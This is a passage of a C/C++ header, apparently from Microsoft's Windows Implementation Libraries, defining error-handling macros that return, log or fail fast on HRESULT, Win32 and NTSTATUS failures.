__RFF_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline RESULT_NORETURN void MethodName\n#define __RFF_INTERNAL_INLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName\n#define __RFF_INTERNAL_INLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName\n#define __RFF_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName\n#endif\n#define __RFF_CALL_INTERNAL_NOINLINE_METHOD(MethodName) MethodName\n#define __RFF_INTERNAL_NOINLINE_FN_PARAMS __RFF_FN_PARAMS void* returnAddress __RFF_COMMA\n#define __RFF_INTERNAL_NOINLINE_FN_PARAMS_ONLY __RFF_FN_PARAMS void* returnAddress\n#define __RFF_INTERNAL_NOINLINE_FN_CALL __RFF_FN_CALL_FULL __RFF_COMMA\n#define __RFF_INTERNAL_NOINLINE_FN_CALL_ONLY __RFF_FN_CALL_FULL\n#define __RFF_INTERNAL_INLINE_FN_PARAMS __RFF_FN_PARAMS\n#define __RFF_INTERNAL_INLINE_FN_PARAMS_ONLY __RFF_FN_PARAMS_ONLY\n#define __RFF_INTERNAL_INLINE_FN_CALL __RFF_FN_CALL_FULL_RA __RFF_COMMA\n#define __RFF_INTERNAL_INLINE_FN_CALL_ONLY __RFF_FN_CALL_FULL_RA\n#if (RESULT_INLINE_ERROR_TESTS_FAIL_FAST == 0)\n#define __RFF_INTERNAL_METHOD __RFF_INTERNAL_NOINLINE_METHOD\n#define __RFF_INTERNAL_NORET_METHOD __RFF_INTERNAL_NOINLINE_NORET_METHOD\n#define __RFF_CALL_INTERNAL_METHOD __RFF_CALL_INTERNAL_NOINLINE_METHOD\n#define __RFF_INTERNAL_FN_PARAMS __RFF_INTERNAL_NOINLINE_FN_PARAMS\n#define __RFF_INTERNAL_FN_PARAMS_ONLY __RFF_INTERNAL_NOINLINE_FN_PARAMS_ONLY\n#define __RFF_INTERNAL_FN_CALL __RFF_INTERNAL_NOINLINE_FN_CALL\n#define __RFF_INTERNAL_FN_CALL_ONLY __RFF_INTERNAL_NOINLINE_FN_CALL_ONLY\n#else\n#define __RFF_INTERNAL_METHOD __RFF_INTERNAL_INLINE_METHOD\n#define __RFF_INTERNAL_NORET_METHOD __RFF_INTERNAL_INLINE_NORET_METHOD\n#define __RFF_CALL_INTERNAL_METHOD __RFF_CALL_INTERNAL_INLINE_METHOD\n#define __RFF_INTERNAL_FN_PARAMS __RFF_INTERNAL_INLINE_FN_PARAMS\n#define __RFF_INTERNAL_FN_PARAMS_ONLY __RFF_INTERNAL_INLINE_FN_PARAMS_ONLY\n#define __RFF_INTERNAL_FN_CALL __RFF_INTERNAL_INLINE_FN_CALL\n#define __RFF_INTERNAL_FN_CALL_ONLY __RFF_INTERNAL_INLINE_FN_CALL_ONLY\n#endif\n// 3) Conditional Methods\n// * Called Directly by Macros\n// * May be noinline or __forceinline depending upon (RESULT_INLINE_ERROR_TESTS_FAIL_FAST)\n// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1)\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1)\n#define __RFF_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName\n#define __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __RFF_CONDITIONAL_INLINE_METHOD(RetType, MethodName) template __forceinline RetType MethodName\n#define __RFF_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName\n#define __RFF_CONDITIONAL_PARTIAL_TEMPLATE unsigned int optimizerCounter __RFF_COMMA\n#else\n#define __RFF_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName\n#define __RFF_CONDITIONAL_INLINE_METHOD(RetType, MethodName) __forceinline RetType MethodName\n#define __RFF_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName\n#define __RFF_CONDITIONAL_PARTIAL_TEMPLATE\n#endif\n#define __RFF_CONDITIONAL_NOINLINE_FN_CALL __RFF_FN_CALL _ReturnAddress() __RFF_COMMA\n#define __RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY __RFF_FN_CALL _ReturnAddress()\n#define __RFF_CONDITIONAL_INLINE_FN_CALL __RFF_FN_CALL\n#define __RFF_CONDITIONAL_INLINE_FN_CALL_ONLY __RFF_FN_CALL_ONLY\n#if (RESULT_INLINE_ERROR_TESTS_FAIL_FAST == 0)\n#define __RFF_CONDITIONAL_METHOD __RFF_CONDITIONAL_NOINLINE_METHOD\n#define __RFF_CONDITIONAL_TEMPLATE_METHOD __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD\n#define __RFF_CONDITIONAL_FN_CALL __RFF_CONDITIONAL_NOINLINE_FN_CALL\n#define __RFF_CONDITIONAL_FN_CALL_ONLY __RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY\n#else\n#define __RFF_CONDITIONAL_METHOD __RFF_CONDITIONAL_INLINE_METHOD\n#define __RFF_CONDITIONAL_TEMPLATE_METHOD __RFF_CONDITIONAL_INLINE_TEMPLATE_METHOD\n#define __RFF_CONDITIONAL_FN_CALL __RFF_CONDITIONAL_INLINE_FN_CALL\n#define __RFF_CONDITIONAL_FN_CALL_ONLY __RFF_CONDITIONAL_INLINE_FN_CALL_ONLY\n#endif\n#define __RFF_CONDITIONAL_FN_PARAMS __RFF_FN_PARAMS\n#define __RFF_CONDITIONAL_FN_PARAMS_ONLY __RFF_FN_PARAMS_ONLY\n// Macro call-site helpers\n#define __RFF_NS_ASSEMBLE2(ri, rd) in##ri##diag##rd // Differing internal namespaces eliminate ODR violations between modes\n#define __RFF_NS_ASSEMBLE(ri, rd) __RFF_NS_ASSEMBLE2(ri, rd)\n#define __RFF_NS_NAME __RFF_NS_ASSEMBLE(RESULT_INLINE_ERROR_TESTS_FAIL_FAST, RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST)\n#define __RFF_NS wil::details::__RFF_NS_NAME\n#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1)\n#define __RFF_FN(MethodName) __RFF_NS:: MethodName <__COUNTER__>\n#else\n#define __RFF_FN(MethodName) __RFF_NS:: MethodName\n#endif\n// end-of-repeated fail-fast handling macros\n\n// Helpers for return macros\n#define __RETURN_HR_MSG(hr, str, fmt, ...) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); if (FAILED(__hr)) { __R_FN(Return_HrMsg)(__R_INFO(str) __hr, fmt, ##__VA_ARGS__); } return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_HR_MSG_FAIL(hr, str, fmt, ...) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); __R_FN(Return_HrMsg)(__R_INFO(str) __hr, fmt, ##__VA_ARGS__); return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_WIN32_MSG(err, str, fmt, ...) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); if (FAILED_WIN32(__err)) { return __R_FN(Return_Win32Msg)(__R_INFO(str) __err, fmt, ##__VA_ARGS__); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_WIN32_MSG_FAIL(err, str, fmt, ...) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); return __R_FN(Return_Win32Msg)(__R_INFO(str) __err, fmt, ##__VA_ARGS__); } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_GLE_MSG_FAIL(str, fmt, ...) return __R_FN(Return_GetLastErrorMsg)(__R_INFO(str) fmt, ##__VA_ARGS__)\n#define __RETURN_NTSTATUS_MSG(status, str, fmt, ...) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); if (FAILED_NTSTATUS(__status)) { return __R_FN(Return_NtStatusMsg)(__R_INFO(str) __status, fmt, ##__VA_ARGS__); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_NTSTATUS_MSG_FAIL(status, str, fmt, ...) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); return __R_FN(Return_NtStatusMsg)(__R_INFO(str) __status, fmt, ##__VA_ARGS__); } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_HR(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); if (FAILED(__hr)) { __R_FN(Return_Hr)(__R_INFO(str) __hr); } return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_HR_NOFILE(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); if (FAILED(__hr)) { __R_FN(Return_Hr)(__R_INFO_NOFILE(str) __hr); } return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_HR_FAIL(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); __R_FN(Return_Hr)(__R_INFO(str) __hr); return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_HR_FAIL_NOFILE(hr, str) __WI_SUPPRESS_4127_S do { const HRESULT __hr = (hr); __R_FN(Return_Hr)(__R_INFO_NOFILE(str) __hr); return __hr; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_WIN32(err, str) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); if (FAILED_WIN32(__err)) { return __R_FN(Return_Win32)(__R_INFO(str) __err); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_WIN32_FAIL(err, str) __WI_SUPPRESS_4127_S do { const DWORD __err = (err); return __R_FN(Return_Win32)(__R_INFO(str) __err); } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_GLE_FAIL(str) return __R_FN(Return_GetLastError)(__R_INFO_ONLY(str))\n#define __RETURN_GLE_FAIL_NOFILE(str) return __R_FN(Return_GetLastError)(__R_INFO_NOFILE_ONLY(str))\n#define __RETURN_NTSTATUS(status, str) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); if (FAILED_NTSTATUS(__status)) { return __R_FN(Return_NtStatus)(__R_INFO(str) __status); } return S_OK; } __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define __RETURN_NTSTATUS_FAIL(status, str) __WI_SUPPRESS_4127_S do { const NTSTATUS __status = (status); return __R_FN(Return_NtStatus)(__R_INFO(str) __status); } __WI_SUPPRESS_4127_E while ((void)0, 0)\n/// @endcond\n\n//*****************************************************************************\n// Macros for returning failures as HRESULTs\n//*****************************************************************************\n\n// Always returns a known result (HRESULT) - always logs failures\n#define RETURN_HR(hr) __RETURN_HR(wil::verify_hresult(hr), #hr)\n#define RETURN_LAST_ERROR() __RETURN_GLE_FAIL(nullptr)\n#define RETURN_WIN32(win32err) __RETURN_WIN32(win32err, #win32err)\n#define RETURN_NTSTATUS(status) __RETURN_NTSTATUS(status, #status)\n\n// Conditionally returns failures (HRESULT) - always logs failures\n#define RETURN_IF_FAILED(hr) __WI_SUPPRESS_4127_S do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { __RETURN_HR_FAIL(__hrRet, #hr); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_IF_WIN32_BOOL_FALSE(win32BOOL) __WI_SUPPRESS_4127_S do { const auto __boolRet = wil::verify_BOOL(win32BOOL); if (!__boolRet) { __RETURN_GLE_FAIL(#win32BOOL); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_IF_WIN32_ERROR(win32err) __WI_SUPPRESS_4127_S do { const DWORD __errRet = (win32err); if (FAILED_WIN32(__errRet)) { __RETURN_WIN32_FAIL(__errRet, #win32err); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_IF_NULL_ALLOC(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR_FAIL(E_OUTOFMEMORY, #ptr); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_HR_IF(hr, condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_HR(wil::verify_hresult(hr), #condition); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_HR_IF_NULL(hr, ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR(wil::verify_hresult(hr), #ptr); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_LAST_ERROR_IF(condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_GLE_FAIL(#condition); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_LAST_ERROR_IF_NULL(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_GLE_FAIL(#ptr); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_IF_NTSTATUS_FAILED(status) __WI_SUPPRESS_4127_S do { const NTSTATUS __statusRet = (status); if (FAILED_NTSTATUS(__statusRet)) { __RETURN_NTSTATUS_FAIL(__statusRet, #status); }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n\n// Always returns a known failure (HRESULT) - always logs a var-arg message on failure\n#define RETURN_HR_MSG(hr, fmt, ...) __RETURN_HR_MSG(wil::verify_hresult(hr), #hr, fmt, ##__VA_ARGS__)\n#define RETURN_LAST_ERROR_MSG(fmt, ...) __RETURN_GLE_MSG_FAIL(nullptr, fmt, ##__VA_ARGS__)\n#define RETURN_WIN32_MSG(win32err, fmt, ...) __RETURN_WIN32_MSG(win32err, #win32err, fmt, ##__VA_ARGS__)\n#define RETURN_NTSTATUS_MSG(status, fmt, ...) __RETURN_NTSTATUS_MSG(status, #status, fmt, ##__VA_ARGS__)\n\n// Conditionally returns failures (HRESULT) - always logs a var-arg message on failure\n#define RETURN_IF_FAILED_MSG(hr, fmt, ...) __WI_SUPPRESS_4127_S do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { __RETURN_HR_MSG_FAIL(__hrRet, #hr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __WI_SUPPRESS_4127_S do { if (!wil::verify_BOOL(win32BOOL)) { __RETURN_GLE_MSG_FAIL(#win32BOOL, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __WI_SUPPRESS_4127_S do { const DWORD __errRet = (win32err); if (FAILED_WIN32(__errRet)) { __RETURN_WIN32_MSG_FAIL(__errRet, #win32err, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR_MSG_FAIL(E_OUTOFMEMORY, #ptr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_HR_IF_MSG(hr, condition, fmt, ...) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_HR_MSG(wil::verify_hresult(hr), #condition, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_HR_MSG(wil::verify_hresult(hr), #ptr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_LAST_ERROR_IF_MSG(condition, fmt, ...) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { __RETURN_GLE_MSG_FAIL(#condition, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { __RETURN_GLE_MSG_FAIL(#ptr, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __WI_SUPPRESS_4127_S do { const NTSTATUS __statusRet = (status); if (FAILED_NTSTATUS(__statusRet)) { __RETURN_NTSTATUS_MSG_FAIL(__statusRet, #status, fmt, ##__VA_ARGS__); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n\n// Conditionally returns failures (HRESULT) - use for failures that are expected in common use - failures are not logged - macros are only for control flow pattern\n#define RETURN_IF_FAILED_EXPECTED(hr) __WI_SUPPRESS_4127_S do { const auto __hrRet = wil::verify_hresult(hr); if (FAILED(__hrRet)) { return __hrRet; }} __WI_SUPPRESS_4127_E while ((void)0, 0)\n#define RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(win32BOOL) __WI_SUPPRESS_4127_S do { if (!wil::verify_BOOL(win32BOOL)) { return wil::details::GetLastErrorFailHr(); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_WIN32_ERROR_EXPECTED(win32err) __WI_SUPPRESS_4127_S do { const DWORD __errRet = (win32err); if (FAILED_WIN32(__errRet)) { return __HRESULT_FROM_WIN32(__errRet); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_NULL_ALLOC_EXPECTED(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { return E_OUTOFMEMORY; }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_HR_IF_EXPECTED(hr, condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { return wil::verify_hresult(hr); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_HR_IF_NULL_EXPECTED(hr, ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { return wil::verify_hresult(hr); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_LAST_ERROR_IF_EXPECTED(condition) __WI_SUPPRESS_4127_S do { if (wil::verify_bool(condition)) { return wil::details::GetLastErrorFailHr(); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_LAST_ERROR_IF_NULL_EXPECTED(ptr) __WI_SUPPRESS_4127_S do { if ((ptr) == nullptr) { return wil::details::GetLastErrorFailHr(); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n#define RETURN_IF_NTSTATUS_FAILED_EXPECTED(status) __WI_SUPPRESS_4127_S do { const NTSTATUS __statusRet = (status); if (FAILED_NTSTATUS(__statusRet)) { return wil::details::NtStatusToHr(__statusRet); }} __WI_SUPPRESS_4127_E while((void)0, 0)\n\n#define __WI_OR_IS_EXPECTED_HRESULT(e) || (__hrRet == wil::verify_hresult(e))\n#define RETURN_IF_FAILED_WITH_EXPECTED(hr, hrExpected, ...) \\\n do \\\n { \\\n const auto __hrRet = wil::verify_hresult(hr); \\\n if (FAILED(__hrRet)) \\\n { \\\n if ((__hrRet == wil::verify_hresult(hrExpected)) WI_FOREACH(__WI_OR_IS_EXPECTED_HRESULT, ##__VA_ARGS__)) \\\n { \\\n return __hrRet; \\\n } \\\n __RETURN_HR_FAIL(__hrRet, #hr); \\\n } \\\n } \\\n while ((void)0, 0)\n\n//*****************************************************************************\n// Macros for logging failures (ignore or pass-through)\n//*****************************************************************************\n\n// Always logs a known failure\n#define LOG_HR(hr) __R_FN(Log_Hr)(__R_INFO(#hr) wil::verify_hresult(hr))\n#define LOG_LAST_ERROR() __R_FN(Log_GetLastError)(__R_INFO_ONLY(nullptr))\n#define LOG_WIN32(win32err) __R_FN(Log_Win32)(__R_INFO(#win32err) win32err)\n#define LOG_NTSTATUS(status) __R_FN(Log_NtStatus)(__R_INFO(#status) status)\n\n// Conditionally logs failures - returns parameter value\n#define LOG_IF_FAILED(hr) __R_FN(Log_IfFailed)(__R_INFO(#hr) wil::verify_hresult(hr))\n#define LOG_IF_WIN32_BOOL_FALSE(win32BOOL) __R_FN(Log_IfWin32BoolFalse)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL))\n#define LOG_IF_WIN32_ERROR(win32err) __R_FN(Log_IfWin32Error)(__R_INFO(#win32err) win32err)\n#define LOG_IF_NULL_ALLOC(ptr) __R_FN(Log_IfNullAlloc)(__R_INFO(#ptr) ptr)\n#define LOG_HR_IF(hr, condition) __R_FN(Log_HrIf)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition))\n#define LOG_HR_IF_NULL(hr, ptr) __R_FN(Log_HrIfNull)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr)\n#define LOG_LAST_ERROR_IF(condition) __R_FN(Log_GetLastErrorIf)(__R_INFO(#condition) wil::verify_bool(condition))\n#define LOG_LAST_ERROR_IF_NULL(ptr) __R_FN(Log_GetLastErrorIfNull)(__R_INFO(#ptr) ptr)\n#define LOG_IF_NTSTATUS_FAILED(status) __R_FN(Log_IfNtStatusFailed)(__R_INFO(#status) status)\n\n// Alternatives for SUCCEEDED(hr) and FAILED(hr) that conditionally log failures\n#define SUCCEEDED_LOG(hr) SUCCEEDED(LOG_IF_FAILED(hr))\n#define FAILED_LOG(hr) FAILED(LOG_IF_FAILED(hr))\n#define SUCCEEDED_WIN32_LOG(win32err) SUCCEEDED_WIN32(LOG_IF_WIN32_ERROR(win32err))\n#define FAILED_WIN32_LOG(win32err) FAILED_WIN32(LOG_IF_WIN32_ERROR(win32err))\n#define SUCCEEDED_NTSTATUS_LOG(status) SUCCEEDED_NTSTATUS(LOG_IF_NTSTATUS_FAILED(status))\n#define FAILED_NTSTATUS_LOG(status) FAILED_NTSTATUS(LOG_IF_NTSTATUS_FAILED(status))\n\n// Alternatives for NT_SUCCESS(x) that conditionally logs failures\n#define NT_SUCCESS_LOG(status) NT_SUCCESS(LOG_IF_NTSTATUS_FAILED(status))\n\n// Always logs a known failure - logs a var-arg message on failure\n#define LOG_HR_MSG(hr, fmt, ...) __R_FN(Log_HrMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__)\n#define LOG_LAST_ERROR_MSG(fmt, ...) __R_FN(Log_GetLastErrorMsg)(__R_INFO(nullptr) fmt, ##__VA_ARGS__)\n#define LOG_WIN32_MSG(win32err, fmt, ...) __R_FN(Log_Win32Msg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__)\n#define LOG_NTSTATUS_MSG(status, fmt, ...) __R_FN(Log_NtStatusMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__)\n\n// Conditionally logs failures - returns parameter value - logs a var-arg message on failure\n#define LOG_IF_FAILED_MSG(hr, fmt, ...) __R_FN(Log_IfFailedMsg)(__R_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__)\n#define LOG_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __R_FN(Log_IfWin32BoolFalseMsg)(__R_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL), fmt, ##__VA_ARGS__)\n#define LOG_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __R_FN(Log_IfWin32ErrorMsg)(__R_INFO(#win32err) win32err, fmt, ##__VA_ARGS__)\n#define LOG_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __R_FN(Log_IfNullAllocMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n#define LOG_HR_IF_MSG(hr, condition, fmt, ...) __R_FN(Log_HrIfMsg)(__R_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define LOG_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __R_FN(Log_HrIfNullMsg)(__R_INFO(#ptr) wil::verify_hresult(hr), ptr, fmt, ##__VA_ARGS__)\n#define LOG_LAST_ERROR_IF_MSG(condition, fmt, ...) __R_FN(Log_GetLastErrorIfMsg)(__R_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define LOG_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __R_FN(Log_GetLastErrorIfNullMsg)(__R_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n#define LOG_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __R_FN(Log_IfNtStatusFailedMsg)(__R_INFO(#status) status, fmt, ##__VA_ARGS__)\n\n#define __WI_COMMA_EXPECTED_HRESULT(e) , wil::verify_hresult(e)\n#define LOG_IF_FAILED_WITH_EXPECTED(hr, hrExpected, ...) __R_FN(Log_IfFailedWithExpected)(__R_INFO(#hr) wil::verify_hresult(hr), WI_ARGS_COUNT(__VA_ARGS__) + 1, wil::verify_hresult(hrExpected) WI_FOREACH(__WI_COMMA_EXPECTED_HRESULT, ##__VA_ARGS__))\n\n//*****************************************************************************\n// Macros to fail fast the process on failures\n//*****************************************************************************\n\n// Always fail fast a known failure\n#define FAIL_FAST_HR(hr) __RFF_FN(FailFast_Hr)(__RFF_INFO(#hr) wil::verify_hresult(hr))\n#define FAIL_FAST_LAST_ERROR() __RFF_FN(FailFast_GetLastError)(__RFF_INFO_ONLY(nullptr))\n#define FAIL_FAST_WIN32(win32err) __RFF_FN(FailFast_Win32)(__RFF_INFO(#win32err) win32err)\n#define FAIL_FAST_NTSTATUS(status) __RFF_FN(FailFast_NtStatus)(__RFF_INFO(#status) status)\n\n// Conditionally fail fast failures - returns parameter value\n#define FAIL_FAST_IF_FAILED(hr) __RFF_FN(FailFast_IfFailed)(__RFF_INFO(#hr) wil::verify_hresult(hr))\n#define FAIL_FAST_IF_WIN32_BOOL_FALSE(win32BOOL) __RFF_FN(FailFast_IfWin32BoolFalse)(__RFF_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL))\n#define FAIL_FAST_IF_WIN32_ERROR(win32err) __RFF_FN(FailFast_IfWin32Error)(__RFF_INFO(#win32err) win32err)\n#define FAIL_FAST_IF_NULL_ALLOC(ptr) __RFF_FN(FailFast_IfNullAlloc)(__RFF_INFO(#ptr) ptr)\n#define FAIL_FAST_HR_IF(hr, condition) __RFF_FN(FailFast_HrIf)(__RFF_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition))\n#define FAIL_FAST_HR_IF_NULL(hr, ptr) __RFF_FN(FailFast_HrIfNull)(__RFF_INFO(#ptr) wil::verify_hresult(hr), ptr)\n#define FAIL_FAST_LAST_ERROR_IF(condition) __RFF_FN(FailFast_GetLastErrorIf)(__RFF_INFO(#condition) wil::verify_bool(condition))\n#define FAIL_FAST_LAST_ERROR_IF_NULL(ptr) __RFF_FN(FailFast_GetLastErrorIfNull)(__RFF_INFO(#ptr) ptr)\n#define FAIL_FAST_IF_NTSTATUS_FAILED(status) __RFF_FN(FailFast_IfNtStatusFailed)(__RFF_INFO(#status) status)\n\n// Always fail fast a known failure - fail fast a var-arg message on failure\n#define FAIL_FAST_HR_MSG(hr, fmt, ...) __RFF_FN(FailFast_HrMsg)(__RFF_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__)\n#define FAIL_FAST_LAST_ERROR_MSG(fmt, ...) __RFF_FN(FailFast_GetLastErrorMsg)(__RFF_INFO(nullptr) fmt, ##__VA_ARGS__)\n#define FAIL_FAST_WIN32_MSG(win32err, fmt, ...) __RFF_FN(FailFast_Win32Msg)(__RFF_INFO(#win32err) win32err, fmt, ##__VA_ARGS__)\n#define FAIL_FAST_NTSTATUS_MSG(status, fmt, ...) __RFF_FN(FailFast_NtStatusMsg)(__RFF_INFO(#status) status, fmt, ##__VA_ARGS__)\n\n// Conditionally fail fast failures - returns parameter value - fail fast a var-arg message on failure\n#define FAIL_FAST_IF_FAILED_MSG(hr, fmt, ...) __RFF_FN(FailFast_IfFailedMsg)(__RFF_INFO(#hr) wil::verify_hresult(hr), fmt, ##__VA_ARGS__)\n#define FAIL_FAST_IF_WIN32_BOOL_FALSE_MSG(win32BOOL, fmt, ...) __RFF_FN(FailFast_IfWin32BoolFalseMsg)(__RFF_INFO(#win32BOOL) wil::verify_BOOL(win32BOOL), fmt, ##__VA_ARGS__)\n#define FAIL_FAST_IF_WIN32_ERROR_MSG(win32err, fmt, ...) __RFF_FN(FailFast_IfWin32ErrorMsg)(__RFF_INFO(#win32err) win32err, fmt, ##__VA_ARGS__)\n#define FAIL_FAST_IF_NULL_ALLOC_MSG(ptr, fmt, ...) __RFF_FN(FailFast_IfNullAllocMsg)(__RFF_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n#define FAIL_FAST_HR_IF_MSG(hr, condition, fmt, ...) __RFF_FN(FailFast_HrIfMsg)(__RFF_INFO(#condition) wil::verify_hresult(hr), wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define FAIL_FAST_HR_IF_NULL_MSG(hr, ptr, fmt, ...) __RFF_FN(FailFast_HrIfNullMsg)(__RFF_INFO(#ptr) wil::verify_hresult(hr), ptr, fmt, ##__VA_ARGS__)\n#define FAIL_FAST_LAST_ERROR_IF_MSG(condition, fmt, ...) __RFF_FN(FailFast_GetLastErrorIfMsg)(__RFF_INFO(#condition) wil::verify_bool(condition), fmt, ##__VA_ARGS__)\n#define FAIL_FAST_LAST_ERROR_IF_NULL_MSG(ptr, fmt, ...) __RFF_FN(FailFast_GetLastErrorIfNullMsg)(__RFF_INFO(#ptr) ptr, fmt, ##__VA_ARGS__)\n#define FAIL_FAST_IF_NTSTATUS_FAILED_MSG(status, fmt, ...) __RFF_FN(FailFast_IfNtStatusFailedMsg)(__RFF_INFO(#status) status, fmt, 